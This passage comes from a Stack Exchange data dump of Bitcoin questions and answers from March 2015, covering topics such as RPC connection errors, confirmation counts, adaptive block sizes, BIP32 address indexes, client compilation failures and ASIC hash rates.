jsonRPCClient('http://finder:AcdfghHBTfYHTFytBG526@127.0.0.1:8332/');&#xA;print_r($bitcoin-&amp;gt;getwork()); echo &quot;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When running the code I'm getting the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Warning:  fopen(http://...@127.0.0.1:8332/): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found&#xA; in D:\xampp\htdocs\p\jsonRPCClient.php on line 132&#xA;&#xA;&#xA;&#xA;Fatal error:  Uncaught exception 'Exception' with message 'Unable to connect to http://finder:AcdfghHBTfYHTFytBG526@127.0.0.1:8332/' in D:\xampp\htdocs\p\jsonRPCClient.php:140&#xA;Stack trace:&#xA;0 D:\xampp\htdocs\p\index.php(9): jsonRPCClient-&amp;gt;__call('getwork', Array)&#xA;1 D:\xampp\htdocs\p\index.php(9): jsonRPCClient-&amp;gt;getwork()&#xA;2 {main}&#xA;  thrown in D:\xampp\htdocs\p\jsonRPCClient.php on line 140&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running the server with the batch command bitcoin-qt.exe -server &#xA;Is there anything else I need to do to get the data from the network?&lt;/p&gt;&#xA;" OwnerUserId="22830" LastEditorUserId="2306" LastEditDate="2015-03-22T00:05:18.940" LastActivityDate="2015-03-22T00:05:18.940" Title="Bitcoin core server error when requesting data" Tags="|server|php|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36527" PostTypeId="2" ParentId="36522" CreationDate="2015-03-19T23:14:31.353" Score="1" Body="&lt;p&gt;There is a lot of confusion about this topic. As I explain in &lt;a href=&quot;https://bitcoil.co.il/Doublespend.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Hashrate-Based Double Spending&lt;/a&gt;, the number of needed confirmations stays more or less the same when you reduce the time between blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many confirmations to wait for is a matter of taste and often arbitrary. It's possible that because of the lower total computational power dedicated to the Litecoin network, it is assumed an attacker could have a higher percentage of the hashrate, and so more confirmations are recommended. But you should still be safe with 2-3 confirmations, which take 5-7.5 minutes on average.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-03-19T23:14:31.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36530" PostTypeId="2" ParentId="36078" CreationDate="2015-03-20T02:36:08.340" Score="1" Body="&lt;p&gt;you can try the following steps: &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt; bitcoind -daemon # Start bitcoin core&#xA;&lt;li&gt; bitcoin-cli setgenerate true 1 # You've started a new miner!!&#xA;&lt;li&gt; tail -f ~/.bitcoin/debug.log # Track your log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a while (it depends on the difficulty of your altcoin), a new block will be generated by your miner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it by typing &quot;bitcoin-cli getblockcount&quot;. Every time a new block is genereated, the value increases by one.&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-03-20T02:36:08.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36531" PostTypeId="1" AcceptedAnswerId="36795" CreationDate="2015-03-20T02:36:26.053" Score="1" ViewCount="912" Body="&lt;p&gt;I created two altcoin peers and they can add blocks to genesis block. However their blockchains do not sync with each other!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way let the block merge is to stop a peer and restart the peer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution? Thanks..&lt;/p&gt;&#xA;" OwnerUserId="24601" LastEditorUserId="2306" LastEditDate="2015-03-20T04:43:36.043" LastActivityDate="2015-04-06T14:47:25.690" Title="Altcoin peers do not sync with each other" Tags="|synchronization|peer-discovery|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36532" PostTypeId="5" CreationDate="2015-03-20T04:21:07.223" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-20T04:21:07.223" LastActivityDate="2015-03-20T04:21:07.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36533" PostTypeId="4" CreationDate="2015-03-20T04:21:07.223" Score="0" Body="Questions related to how Bitcoin finds other peers to communicate with." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-20T04:21:07.223" LastActivityDate="2015-03-20T04:21:07.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36534" PostTypeId="1" AcceptedAnswerId="36537" CreationDate="2015-03-20T09:45:33.693" Score="1" ViewCount="85" Body="&lt;p&gt;I want to implement this, so does anyone have a formula for adaptive blocksize?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(average size of last 4096 blocks*4&amp;gt;maxblocksize &amp;amp;&amp;amp; &#xA;   median size of last 4096 blocks *8&amp;gt;maxblocksize)&#xA;        maxblocksize = (average size of last 4096 blocks*4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="2306" LastEditDate="2015-03-20T19:35:44.050" LastActivityDate="2015-03-20T19:35:44.050" Title="Does anyone have a formula for adaptive blocksize?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36535" PostTypeId="1" CreationDate="2015-03-20T09:48:18.063" Score="1" ViewCount="157" Body="&lt;p&gt;I want to implement this, so does anyone have a formula for dynamic block durations instead of a fixed target of 10 minutes?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2015-10-23T11:50:10.587" Title="Does anyone have a formula for dynamic block durations?" Tags="|protocol|alternatives|altcoin|altcoin-development|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36537" PostTypeId="2" ParentId="36534" CreationDate="2015-03-20T16:26:06.547" Score="3" Body="&lt;p&gt;You must have read &lt;a href=&quot;http://www.age-of-bitcoin.com/dynamic-block-size-cap-scaling/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; and are looking to implement dynamic block size limits. You should know that it's not just a simple formula though that only affects one piece of code, it's more complicated than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of a few coins that have done this. Monero, Cryptonote, and ziftrCOIN. The latter is the one I am the most familiar with, so I'll explain how the solution works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the block size and chain size is &lt;a href=&quot;https://github.com/ZiftrCOIN/ziftrcoin/blob/v0.9.31/src/main.h#L723-L731&quot; rel=&quot;nofollow&quot;&gt;added to the block index&lt;/a&gt;. Then, whenever the &lt;a href=&quot;https://github.com/ZiftrCOIN/ziftrcoin/blob/v0.9.31/src/main.cpp#L423-L491&quot; rel=&quot;nofollow&quot;&gt;tip of the chain is updated&lt;/a&gt;, the code checks, once every 3 months, to see if both:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The average block size is greater than 2/3 of the current limit.&lt;/li&gt;&#xA;&lt;li&gt;The median block size is greater than 1/2 of the current limit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If both are true, then it allows the maximum block size to increase by 10%. If this happened regularly for 2 years, the maximum block size would approximately double. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-03-20T16:26:06.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36538" PostTypeId="1" CreationDate="2015-03-20T16:54:59.047" Score="2" ViewCount="1278" Body="&lt;p&gt;I just started solo mining last month, and I have no problems with cgminer.&#xA;I have already shares accepted and sometimes new block detected.&#xA;I want to know why when I want decode I've an error?&#xA;For example, &quot;block decode failed (-22)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Roaming\Bitcoin\blocks, I have some 300 files who called blk00000.dat and until i'm mining, until the list expand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't have receive my awards for my blocks.... and not to for the fees...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you explain me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the blocks files are my detected block by mining?&#xA;Why I've an error block decode failed? How to do too receive my awards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your  help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps:i'm french and i say &quot;il n'y a rien de plus frustrant de ne pas comprendre&quot;&#xA;It's like &quot;there is nothing biggest frustation than don't understand!!!&quot;&lt;/p&gt;&#xA;" OwnerUserId="24775" LastEditorUserId="2306" LastEditDate="2015-03-22T18:52:39.757" LastActivityDate="2015-11-13T03:04:54.640" Title="&quot;block decode failed&quot; error while mining in pool" Tags="|mining-pools|cgminer|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36539" PostTypeId="2" ParentId="6062" CreationDate="2015-03-20T22:20:19.623" Score="-1" Body="&lt;p&gt;Quantum computers can do hashing (cf. &lt;a href=&quot;https://books.google.com/books?id=-s4DEy7o-a0C&amp;amp;pg=PA425&quot; rel=&quot;nofollow&quot;&gt;Quantum Error Correction&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://physicsworld.com/cws/article/news/2015/feb/27/two-quantum-properties-teleported-together-for-first-time&quot; rel=&quot;nofollow&quot;&gt;Quantum teleportation&lt;/a&gt; will revolutionize the distribution of the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-03-20T22:20:19.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36540" PostTypeId="1" AcceptedAnswerId="36542" CreationDate="2015-03-21T03:03:16.577" Score="5" ViewCount="352" Body="&lt;p&gt;Just as we have the genesis block which is block 0, is there a special name for the block currently at the head of the chain? Obviously such a block would be observer dependent and never absolute but I am curious all the same.&lt;/p&gt;&#xA;" OwnerUserId="24780" LastEditorUserId="5406" LastEditDate="2015-03-27T13:12:07.547" LastActivityDate="2015-03-27T13:12:07.547" Title="Is there a special name for the block currently at the head of the chain?" Tags="|blockchain|block|terminology|height|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36541" PostTypeId="2" ParentId="36540" CreationDate="2015-03-21T03:04:26.640" Score="0" Body="&lt;p&gt;Nothing formal, but &quot;latest block&quot; pretty much describes it.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-03-21T03:04:26.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36542" PostTypeId="2" ParentId="36540" CreationDate="2015-03-21T03:22:39.030" Score="5" Body="&lt;p&gt;The Bitcoin source code refers to it as the 'tip,' e.g., &lt;code&gt;UpdateTip&lt;/code&gt;, &lt;code&gt;SetTip&lt;/code&gt;, &lt;code&gt;ConnectTip&lt;/code&gt;. It's sometimes referred to as the latest block; that's not totally accurate, since the latest block is not always the tip.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-27T06:23:50.740" LastActivityDate="2015-03-27T06:23:50.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36545" PostTypeId="1" CreationDate="2015-03-22T08:15:24.040" Score="2" ViewCount="125" Body="&lt;p&gt;I'm writing an e-commerce system that uses BIP32 to generate addresses. I was thinking of using the order number (which is shown to the user) to as the index for generating the address to pay to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would doing this help someone trying to steal my money, or help someone trying to link my addresses together?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-24T18:53:53.937" LastActivityDate="2018-12-24T10:01:05.200" Title="Is disclosing an index used for generating BIP32 addresses insecure?" Tags="|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36546" PostTypeId="5" CreationDate="2015-03-22T09:01:47.547" Score="0" Body="&lt;p&gt;Taken from the Github bip32 entry referenced in the usage guidelines:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Bitcoin reference client uses randomly generated keys. In order to avoid the necessity for a backup after every transaction, (by default) 100 keys are cached in a pool of reserve keys. Still, these wallets are not intended to be shared and used on several systems simultaneously. They support hiding their private keys by using the wallet encrypt feature and not sharing the password, but such &amp;quot;neutered&amp;quot; wallets lose the power to generate public keys as well.&lt;/p&gt;&#xA;&lt;p&gt;Deterministic wallets do not require such frequent backups, and elliptic curve mathematics permit schemes where one can calculate the public keys without revealing the private keys. This permits for example a webshop business to let its webserver generate fresh addresses (public key hashes) for each order or for each customer, without giving the webserver access to the corresponding private keys (which are required for spending the received funds).&lt;/p&gt;&#xA;&lt;p&gt;However, deterministic wallets typically consist of a single &amp;quot;chain&amp;quot; of keypairs. The fact that there is only one chain means that sharing a wallet happens on an all-or-nothing basis. However, in some cases one only wants some (public) keys to be shared and recoverable. In the example of a webshop, the webserver does not need access to all public keys of the merchant's wallet; only to those addresses which are used to receive customer's payments, and not for example the change addresses that are generated when the merchant spends money. Hierarchical deterministic wallets allow such selective sharing by supporting multiple keypair chains, derived from a single root.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="10658" LastEditDate="2023-10-25T00:11:06.617" LastActivityDate="2023-10-25T00:11:06.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36547" PostTypeId="4" CreationDate="2015-03-22T09:01:47.547" Score="0" Body="BIP32, or Hierarchical Deterministic Wallets. HD wallets are wallets that can be shared amongst different wallet implementation with or without the ability to spend coins.&#xD;&#xA;&#xD;&#xA;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2019-08-25T15:51:07.077" LastActivityDate="2019-08-25T15:51:07.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36548" PostTypeId="2" ParentId="36545" CreationDate="2015-03-22T10:50:08.217" Score="1" Body="&lt;p&gt;I wouldn't expect stealing to become easier. BIP32 uses low incremental integer numbers, which are easily brute forceable if not predictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same reasoning for linking addresses i guess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll leave a real answer up to someone more knowledgeable though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One consideration I'm sure you thought about is that you need to make sure the order number is unique (no address reuse). Even over multiple years (unless you use the year as one of the other HD indexes, I guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One downside is that if you ever load the private key into another wallet it probably won't find your money as it doesn't know your numbering system. Maybe that's an upside actually as it ads a layer of obfuscation to protect you from theft. Slippery slope though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Meant to type this as a comment instead of an answer, but i guess I'll leave it unless a better answer says it actually is dangerous.)&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-03-22T10:50:08.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36549" PostTypeId="1" CreationDate="2015-03-22T12:20:22.440" Score="0" ViewCount="1437" Body="&lt;p&gt;Good Day!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to compile the Particle-Qt Client on Ubuntu 15.04 Vivid Velvet using GCC 5.0 &amp;amp; libboost1.55&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my system is throwing errors, these are the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While executing &lt;code&gt;qmake&lt;/code&gt;, I am getting this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Project MESSAGE: Building with UPNP support&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Removed plural forms as the target language has less forms.&#xA;If this sounds wrong, possibly the target language is not set or recognized.&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Removed plural forms as the target language has less forms.&#xA;If this sounds wrong, possibly the target language is not set or recognized.&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;Warning: ignoring &amp;lt;defaultcodec&amp;gt; element&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And When Executing Make I am getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /media/red_gene/DeOxyRibose/Particle_REACQ/src/leveldb &amp;amp;&amp;amp; CC=gcc CXX=g++ make OPT=&quot;-m64 -pipe -fstack-protector-all -D_FORTIFY_SOURCE=2 -O2&quot; libleveldb.a libmemenv.a&#xA;make[1]: Entering directory '/media/red_gene/DeOxyRibose/Particle_REACQ/src/leveldb'&#xA;make[1]: 'libleveldb.a' is up to date.&#xA;make[1]: 'libmemenv.a' is up to date.&#xA;make[1]: Leaving directory '/media/red_gene/DeOxyRibose/Particle_REACQ/src/leveldb'&#xA;cd /media/red_gene/DeOxyRibose/Particle_REACQ; /bin/sh share/genbuild.sh /media/red_gene/DeOxyRibose/Particle_REACQ/build/build.h&#xA;fatal: Not a git repository (or any parent up to mount point /media/red_gene/DeOxyRibose)&#xA;Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).&#xA;g++ -c -m64 -pipe -fstack-protector-all -D_FORTIFY_SOURCE=2 -O2 -D_REENTRANT -fdiagnostics-show-option -Wall -Wextra -Wformat -Wformat-security -Wno-unused-parameter -Wstack-protector -fPIE -DQT_GUI -DBOOST_THREAD_USE_LIB -DBOOST_SPIRIT_THREADSAFE -DUSE_IPV6=1 -DHAVE_BUILD_INFO -DLINUX -D_FILE_OFFSET_BITS=64 -DQT_NO_DEBUG -DQT_GUI_LIB -DQT_NETWORK_LIB -DQT_CORE_LIB -Isrc -Isrc/json -Isrc/qt -Isrc/leveldb/include -Isrc/leveldb/helpers -isystem /usr/include/x86_64-linux-gnu/qt5 -isystem /usr/include/x86_64-linux-gnu/qt5/QtGui -isystem /usr/include/x86_64-linux-gnu/qt5/QtNetwork -isystem /usr/include/x86_64-linux-gnu/qt5/QtCore -Ibuild -I/usr/lib/x86_64-linux-gnu/qt5/mkspecs/linux-g++-64 -o build/bitcoin.o src/qt/bitcoin.cpp&#xA;src/qt/bitcoin.cpp:5:24: fatal error: QApplication: No such file or directory&#xA;compilation terminated.&#xA;Makefile:1106: recipe for target 'build/bitcoin.o' failed&#xA;make: *** [build/bitcoin.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24790" LastEditorUserId="2306" LastEditDate="2015-03-22T17:27:54.900" LastActivityDate="2015-03-23T18:30:05.113" Title="Unable to Compile Particle-Qt using qmake in Ubuntu 15.04" Tags="|compiling|quarkcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36550" PostTypeId="2" ParentId="36538" CreationDate="2015-03-22T12:30:44.767" Score="1" Body="&lt;p&gt;Good Day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you solo mining or pool mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are solo mining.... You will need to have about &lt;strong&gt;1000 Th/s of ASIC Cheddar&lt;/strong&gt; to Mine Solo. So, that is striked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have that kind of cheddar of a 1000 ASICS, it will take &lt;strong&gt;about a day&lt;/strong&gt; for it to come in your account with a couple of confirmations....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know if you are solo mining you will have a &lt;strong&gt;--btc-address=&lt;/strong&gt; and this param should have your BTC Address... if you are solo mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are pool mining, your parameters will something like &lt;strong&gt;-u somename.worker1 -p password&lt;/strong&gt; or &lt;strong&gt;-u BTC_ADDRESS -p x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also &lt;strong&gt;safe&lt;/strong&gt; to assume that you &lt;strong&gt;haven't mined a solo block.&lt;/strong&gt; with a CPU or GPU&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are pool mining (duh!), go to that pool's website and login to your account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully, you created a worker or else there is a chance that you have mined to donation.... and you didn't make a dime..... If you did, your Username should be your Worker ID &lt;code&gt;e.g. username.worker1&lt;/code&gt; and Pass to whatever you set...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then wait for the round of cash complete (Seriously Wait..)..... for hours...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go and withdraw your BTC from the pool to your wallet address and enjoy this tiny (I guess...) wealth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using &lt;strong&gt;Eligius or a Non-Registratable P2P Pool&lt;/strong&gt; then your Username &lt;strong&gt;Should&lt;/strong&gt; be your BitCoin Address and Your Password Being &lt;code&gt;x&lt;/code&gt; or &lt;code&gt;123&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same applies here, if you don't put a Version 0 Address, (i.e. An Address starting with &lt;code&gt;1&lt;/code&gt;) or put some other rubbish other than &lt;strong&gt;YOUR&lt;/strong&gt; address, it goes for donations....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your worker password cannot be used for accessing your bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also that blk(whatever...).dat is the records of other cash, that is the BlockChain!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24790" LastEditorUserId="24790" LastEditDate="2015-03-22T12:38:05.917" LastActivityDate="2015-03-22T12:38:05.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36553" PostTypeId="1" AcceptedAnswerId="36556" CreationDate="2015-03-22T20:59:53.003" Score="2" ViewCount="631" Body="&lt;p&gt;When a mining ASIC claims to run at 1 MH/s or 10/MH/s or even 1000 GH/s, at what difficulty and with what algorithm is that measured against?&lt;/p&gt;&#xA;" OwnerUserId="12920" LastEditorUserId="5406" LastEditDate="2016-02-08T13:02:52.653" LastActivityDate="2016-02-08T13:02:52.653" Title="What is the benchmark that mining ASICs are measured with to determine the hash rates?" Tags="|asic|hashpower|scrypt|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36554" PostTypeId="1" AcceptedAnswerId="36586" CreationDate="2015-03-23T01:43:23.767" Score="0" ViewCount="1396" Body="&lt;p&gt;Okay so I have done my research, I have practically tried everything. It just frustrates me because mining LTC was a piece of cake but I can't seem to figure out how to mine bitcoins which this device says it can do bitcoins plus dual mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried BFGminer but it seems not to detect my gridseed unless I am mining LTC. Then I tried CPUMiner and it works except it gets invalid all the time its like its using the wrong algorithm but I tried the -a sha256d and still produces the same issue. Can somebody help me I have the drivers installed and my usb Gridseed miner is on COM6. I have also tried CGMiner and it says cannot detect any USB devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried every possible thing that comes up on the first few Google Results. I am not exactly new to mining as I have done Scrypt mining fine with this device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00J4XPKJU&quot; rel=&quot;nofollow&quot;&gt;Here is the product.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24798" LastEditorUserId="2306" LastEditDate="2015-03-23T04:09:48.443" LastActivityDate="2015-03-25T02:46:16.067" Title="Gridseed USB ASIC Won't Mine Bitcoins" Tags="|cgminer|asic|bfgminer|gridseed|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36555" PostTypeId="1" CreationDate="2015-03-23T05:49:34.467" Score="1" ViewCount="303" Body="&lt;p&gt;In other words, I want a coin with NO premine and NO mining.  Can the wallet, alone, generate the coin(s) and the blockchain, based solely on inter-wallet communication (establishing a wallet &quot;communication&quot; network (kinda like the game Marco Polo in the pool) and chatting between users would generate a certain number/percentage of coins, per user, every day) and direct coin transfers between wallets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know very little about blockchain technology, so maybe what I'm describing is already done, to one degree or another.  But one person I spoke to thought what I was describing was crazy, so I figure my idea must be a pretty radical departure from traditional implementation, if even possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll gladly describe it in further detail, if interested, or it's even feasible.&lt;/p&gt;&#xA;" OwnerUserId="24800" LastActivityDate="2015-08-21T20:17:38.787" Title="Can coin wallets create their own network/blockchain?" Tags="|wallet|blockchain|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36556" PostTypeId="2" ParentId="36553" CreationDate="2015-03-23T06:43:48.517" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When a mining ASIC claims to run at 1 MH/s or 10MH/s or even 1000 GH/s, at what difficulty&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;10 MHash/s means that the chip can do 10 million hashes per second, regardless of what the difficulty is. The difficulty changes how many blocks you find, but it doesn't change how many hashes the chip performs.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and with what algorithm is that measured against?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It'll usually say what algorithms it's capable of mining, but if it doesn't, you can usually assume it's SHA256. There are a couple of odd ducks, like hybrid ASICs that can mine multiple algorithms at once; those are actually two different mining circuits put on the same chip.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cgminer shows the ASIC running at the hash rate claimed. But when mining in a pool, the pool shows a hash rate of roughly 1/3 what cgminer says.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are three possible explanations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The chip is lying about how many hashes it's doing, but the pool can't be cheated in this manner, because it relies on shares. (unlikely)&lt;/li&gt;&#xA;&lt;li&gt;You're failing to submit otherwise valid shares, because of some software misconfiguration. (slightly more likely)&lt;/li&gt;&#xA;&lt;li&gt;You've been unluckly, and have gotten less shares than average. This will even out over time. (most likely)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-23T06:43:48.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
